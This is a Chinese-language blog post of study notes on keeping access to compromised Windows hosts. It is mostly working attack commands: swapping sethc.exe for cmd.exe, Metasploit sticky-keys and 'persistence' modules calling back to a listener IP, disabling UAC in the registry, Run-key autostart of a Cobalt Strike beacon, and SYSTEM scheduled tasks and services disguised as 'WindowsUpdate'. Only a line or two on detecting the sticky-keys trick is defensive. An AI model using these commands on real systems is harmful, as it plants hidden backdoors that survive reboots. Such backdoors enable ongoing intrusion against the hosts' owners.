权限维持专题:操作系统权限维持

2021-12-05

突然意识到了权限维持的重要性,之前一直都把重点放在如何获取权限,而却忽视了获取权限之后如何维持,本文作为学习笔记记录一下,欢迎探讨

辅助功能后门

辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读等),可以帮助残疾人更轻松地使用Windows操作系统但是,此功能可能会被滥用,以在已启用RDP且已获得管理员级别权限的主机上实现持久性。

屏幕键盘:C:\Windows\System32\osk.exe
放大镜:C:\Windows\System32\Magnify.exe
旁白:C:\Windows\System32\Narrator.exe
显示开关:C:\Windows\System32\DisplaySwitch.exe
应用程序开关:C:\Windows\System32\AtBroker.exe
粘滞键:C:\Windows\System32\sethc.exe
辅助功能:C:\Windows\System32\utilman.exe

 

粘滞键后门

以粘滞键后门举例

在 Windows主机上连续按5次“ Shift”键,就可以调出粘滞键。 Windows的粘滞键主要是为无法同时按多个按键的用户设计的。例如,在使用组合键“Crl+P"时,用户需要同时按下“Crl和“P”两个键,如果使用粘滞键来实现组合键“Crl+P”的功能,用户只需要按一个键。

为什么说粘滞键可以变成后门呢,因为电脑在锁屏的时候也可以触发粘滞键,所以只要替换了粘滞键的命令就能实现权限维持

用可执行文件 sethc.exe.bak替换 windows\system32目录下的粘滞键可执行文件 sethc.exe,命令如下。

cd c:\windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

不过现在的服务器一般都没有办法用这种方式执行
我们还可以利用msf里面自带的模块进行后门的留取

以利用msf里面自带的模块进行后门的留取

use post/windows/manage/sticky_keys
set session 1
set target UTILMAN
exploit

target可以设置不同的留后门方法,其中就有粘滞键

 C:\Windows\System32\sethc.exe 粘滞键 快捷键:按五次 shift 键
C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键
C:\Windows\System32\osk.exe 屏幕键盘

粘滞键攻击win2008(win10攻击失败)

针对粘滞键后门,可以采取如下防范措施。

  • 在远程登录服务器时,连续按5次" Shift”键,判断服务器是否被入侵。
  • 拒绝使用 sethc.exe或者在“控制面板”中关闭“启用粘滞键”选项。

 

注册表注入后门

注册表是windows操作系统中的一个核心数据库,其中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心作用。

Win+r 输入regedit进入注册表编辑器

如下是控制计算机启动项的注册表信息。

Run中的程序是WINDOWS初始化后才运行的,而RunService中的程序是在操作系统启动时就开始运行的,也就是说RunServices中的程序先于Run中的程序运行,如电源管理程序。

#当前用户所用信息储存地
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce

#机器软硬件信息的集散地
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\wow6432node\microsoft\windows\currentversion\Run

#添加 REG ADD “KeyName”
/v “ValueName” /t REG_SZ /d “Data” /f #操作HKEY_LOCAL_MACHINE需要高权限 #KeyName 远程机器名 - 忽略默认到当前机器。 #/v 所选项之下要添加的值名称。 #/ve为注册表项添加空白值名称(默认)。 #/t RegKey 数据类型 REG_SZ型注册表值项没有长度限制 #/d 要分配给添加的注册表ValueName 的数据。 #/f 不用提示就强行覆盖现有注册表项。
#查询 reg query “KeyName” \v ValueName #不需要权限

#删除 reg delete “KeyName” \v ValueName
/f #操作HKEY_LOCAL_MACHINE需要高权限 /f不用提示,强制删除。不加会询问是否删除

msf注册表后门

run persistence -U -i 5 -p 5555 -r 192.168.200.36

-S:系统启动时加载

-U:用户登陆时加载

-X:开机时自动加载

-i:回连的时间间隔

-r:你的接收shell的电脑IP

 

 想重启监听看看能不能上线,但是试了win10、win7、win2008都不能利用。而win7还给我搞炸了。每次开启就会一直弹窗....

 

注册表

指定当程序尝试对计算机进行更改时是否将 Windows 用户帐户控制 (UAC) 通知用户。 UAC 以前称为受限用户帐户 (LUA)。

使用命令将EnableLUA 设置为0(后面试了一下好像改不改这个都无所谓)

shell reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

查询

shell reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"

直接插入注册表里,成为自启动文件

shell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\testuser\Desktop\cs_shell.exe" /f

查询是否设置成功

shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

 可以看到设置成功

重启试试看——成功上线

 

 计划任务后门

计划任务在 Windows7及之前版本的操作系统中使用at命令调用,在从 Windows8版本开始的操作系统中使用 schtasks命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。

 at计划任务:

at \\192.168.200.36 13:56 C:\shell.exe   #创建一项计划任务到时间打开shell.exe程序

schtasks计划任务。参考Schtasks命令详解_jataflf的专栏-CSDN博客

schtasks /create /s 192.168.200.36 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f   #创建一次计划任务
schtasks /create /s 192.168.200.36 /tn test /sc onstart /sd 12/4/2021  /tr c:\shell.exe /ru system /f   #系统启动时执行计划任务
schtasks /create /s 192.168.200.36 /tn test /sc minute /mo 10 /tr c:\shell.exe /ru system /f #每十分钟执行一次计划任务

 

使用cs的后门演示计划任务

使用cs生成一个exe后门,上线cs假设获取了目标主机的权限,现在开始进行权限维持

 上线之后进行计划任务

每分钟执行一次

schtasks /create /tn WindowsUpdate /tr "C:\Users\fish\Desktop\cs_shell.exe" /sc minute /mo 1 /ru System /f

或者当系统启动时执行

schtasks /create /tn WindowsUpdate /tr "C:\Users\fish\Desktop\cs_shell.exe" /sc onstart /ru System /f

可以看到一开机就自动上线

 

 服务自启动

 有点类似与计划任务,但是只能开机时启动,sc作用是在注册表和服务数据库中创建服务项,微软查到的意思是为注册表中的服务和服务控制管理器数据库创建子项和项

假设拿到了目标主机的shell,可以输入如下语句建立服务自启动后门 

sc create "test" binpath= "C:\Users\fish\Desktop\cs_shell.exe" start=auto displayname="Windows-Update"
sc description "test ""测试" net start "test"
sc query test #查询服务项
sc delete test #删除

 开启这个服务测试一下,成功上线

 

任务管理器可以查看到设置的服务

重启win10之后依旧上线

 

启动文件夹

简单的提一嘴

Windows系统都有一个“启动”文件夹,把需要打开的程序的快捷方式放到“启动”文件夹里,就可以实现开机自动启动。

如果想要实现应用程序在所有的用户登录系统后都能自动启动,就把该应用程序的快捷方式放到系统启动文件夹里

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

如果想要实现某个应用程序只在某个用户登录系统时自动启动,那么就把该应用程序的快捷方式放到这个用户启动文件夹里。

C:\Users\fish\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup